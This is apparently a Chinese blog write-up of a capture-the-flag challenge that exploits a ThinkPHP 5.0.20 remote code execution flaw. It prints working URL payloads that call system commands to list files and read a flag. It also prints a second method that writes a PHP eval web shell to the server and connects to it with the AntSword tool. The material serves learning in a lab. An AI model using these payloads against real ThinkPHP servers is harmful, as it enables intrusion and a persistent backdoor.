攻防世界高阶之php_rce
打开之后界面如下:
看到这个还是很懵的,点开任意连接都是真实的场景。
考察ThinkPHP版本5的相关漏洞,这是一个远程代码执行漏洞,先学习vulhub复现这个漏洞的过程:
输入:http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1,可执行phpinfo:
拉到页面底部,看到ThinkPHP的版本是5.0.20:
可以执行phpinfo,那可不可以执行其他命令呢?查了一下网上的payload,如下:
输入:http://your-ip:8080/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
返回:www-data www-data
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=xxxxx(命令)
ls查看
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
返回如下,再把index.php和router.php打开看了一下,木有发现flag,再把request和response也检查了下,也木有flag。。
再逐级查看上级目录,最终看到一个名为flag的文件:
查看一下flag的内容:
输入:http://111.200.241.244:51981/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20../../../flag
得到flag如下图
------------还有另一种方法------------
文件上传一句话漏洞
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=shell.php&vars[1][1]=<?php eval($_REQUEST["a"]);?>
用蚁剑连接之后
【蚁剑连接地址 为url/shell.php】上传文件名是什么就连接什么,做的时候地址不会写,一直连不上。
终端直接cat /flag就得到了。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· winform 绘制太阳,地球,月球 运作规律
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 上周热点回顾(3.3-3.9)
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人